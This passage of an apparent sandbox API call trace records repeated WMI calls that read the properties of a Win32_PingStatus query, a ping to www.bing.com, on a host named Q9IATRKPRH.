pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0140.181] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0140.181] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0140.181] SafeArrayGetLBound (in: psa=0x5cea130, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0140.181] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.181] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.181] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.181] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.181] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.181] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.181] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.181] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.181] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.181] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.181] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.182] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.182] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.182] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.182] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.182] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.182] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.182] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.182] SysStringByteLen (bstr="__PATH") returned 0xc [0140.182] SysStringByteLen (bstr="__PATH") returned 0xc [0140.182] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2867c50*=0, plFlavor=0x2867c54*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2867c50*=3, plFlavor=0x2867c54*=64) returned 0x0 [0140.182] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2867c84*=0, plFlavor=0x2867c88*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2867c84*=8, plFlavor=0x2867c88*=64) returned 0x0 [0140.182] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.182] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.182] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2867cdc*=0, plFlavor=0x2867ce0*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2867cdc*=8, plFlavor=0x2867ce0*=64) returned 0x0 [0140.182] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2867d04*=0, plFlavor=0x2867d08*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2867d04*=8, plFlavor=0x2867d08*=64) returned 0x0 [0140.182] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.182] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.183] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2867d5c*=0, plFlavor=0x2867d60*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2867d5c*=8, plFlavor=0x2867d60*=64) returned 0x0 [0140.183] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.183] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.183] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2867f34*=0, plFlavor=0x2867f38*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2867f34*=3, plFlavor=0x2867f38*=64) returned 0x0 [0140.183] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2867f68*=0, plFlavor=0x2867f6c*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2867f68*=8200, plFlavor=0x2867f6c*=64) returned 0x0 [0140.183] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2867f9c*=0, plFlavor=0x2867fa0*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2867f9c*=8, plFlavor=0x2867fa0*=64) returned 0x0 [0140.183] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.183] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.183] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0140.183] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0140.184] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.184] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0140.184] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0140.184] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.184] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0140.184] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.184] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0140.184] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0140.184] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.184] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.184] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.184] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.184] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.184] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.184] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.184] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.184] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.184] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.184] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.184] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.184] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.184] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.184] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.184] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.185] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.185] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.185] SysStringByteLen (bstr="__PATH") returned 0xc [0140.185] SysStringByteLen (bstr="__PATH") returned 0xc [0140.185] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286837c*=0, plFlavor=0x2868380*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x286837c*=3, plFlavor=0x2868380*=64) returned 0x0 [0140.185] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28683b0*=0, plFlavor=0x28683b4*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28683b0*=8, plFlavor=0x28683b4*=64) returned 0x0 [0140.185] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.185] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.185] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868408*=0, plFlavor=0x286840c*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868408*=8, plFlavor=0x286840c*=64) returned 0x0 [0140.185] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868430*=0, plFlavor=0x2868434*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2868430*=8, plFlavor=0x2868434*=64) returned 0x0 [0140.185] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.185] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.185] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868488*=0, plFlavor=0x286848c*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2868488*=8, plFlavor=0x286848c*=64) returned 0x0 [0140.185] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.210] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.210] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286866c*=0, plFlavor=0x2868670*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x286866c*=3, plFlavor=0x2868670*=64) returned 0x0 [0140.211] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28686a0*=0, plFlavor=0x28686a4*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28686a0*=8200, plFlavor=0x28686a4*=64) returned 0x0 [0140.211] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28686d4*=0, plFlavor=0x28686d8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28686d4*=8, plFlavor=0x28686d8*=64) returned 0x0 [0140.212] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.212] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.212] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28686d4*=8, plFlavor=0x28686d8*=64 | out: pVal=0x59fe860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28686d4*=8, plFlavor=0x28686d8*=64) returned 0x0 [0140.212] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.212] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0140.212] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0140.212] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0140.212] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0140.213] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.213] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0140.213] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0140.213] SafeArrayGetDim (psa=0x5cea1f0) returned 0x1 [0140.213] SafeArrayGetLBound (in: psa=0x5cea1f0, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0140.213] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.213] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.213] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.213] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.213] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.213] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.213] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.213] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.213] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.213] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.213] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.213] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.213] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.214] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.214] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.214] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.214] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.214] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.214] SysStringByteLen (bstr="__PATH") returned 0xc [0140.214] SysStringByteLen (bstr="__PATH") returned 0xc [0140.214] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868bf4*=0, plFlavor=0x2868bf8*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2868bf4*=3, plFlavor=0x2868bf8*=64) returned 0x0 [0140.214] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868c28*=0, plFlavor=0x2868c2c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2868c28*=8, plFlavor=0x2868c2c*=64) returned 0x0 [0140.214] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.214] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.214] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868c80*=0, plFlavor=0x2868c84*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868c80*=8, plFlavor=0x2868c84*=64) returned 0x0 [0140.215] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868ca8*=0, plFlavor=0x2868cac*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2868ca8*=8, plFlavor=0x2868cac*=64) returned 0x0 [0140.215] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.215] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.215] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868d00*=0, plFlavor=0x2868d04*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2868d00*=8, plFlavor=0x2868d04*=64) returned 0x0 [0140.215] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.215] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.215] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868ed8*=0, plFlavor=0x2868edc*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2868ed8*=3, plFlavor=0x2868edc*=64) returned 0x0 [0140.215] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868f0c*=0, plFlavor=0x2868f10*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2868f0c*=8200, plFlavor=0x2868f10*=64) returned 0x0 [0140.216] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868f40*=0, plFlavor=0x2868f44*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2868f40*=8, plFlavor=0x2868f44*=64) returned 0x0 [0140.216] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.216] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.216] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868f8c*=0, plFlavor=0x2868f90*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2868f8c*=8, plFlavor=0x2868f90*=64) returned 0x0 [0140.216] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.216] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.216] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2868fd8*=0, plFlavor=0x2868fdc*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2868fd8*=8, plFlavor=0x2868fdc*=64) returned 0x0 [0140.216] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.216] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0140.217] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0140.217] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.217] IWbemClassObject:Get (in: This=0x5ccc608, wszName="Address", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286920c*=0, plFlavor=0x2869210*=0 | out: pVal=0x59fe778*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x286920c*=8, plFlavor=0x2869210*=0) returned 0x0 [0140.217] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.217] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0140.217] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0140.217] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.217] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0140.217] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0140.217] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.217] IWbemClassObject:GetNames (in: 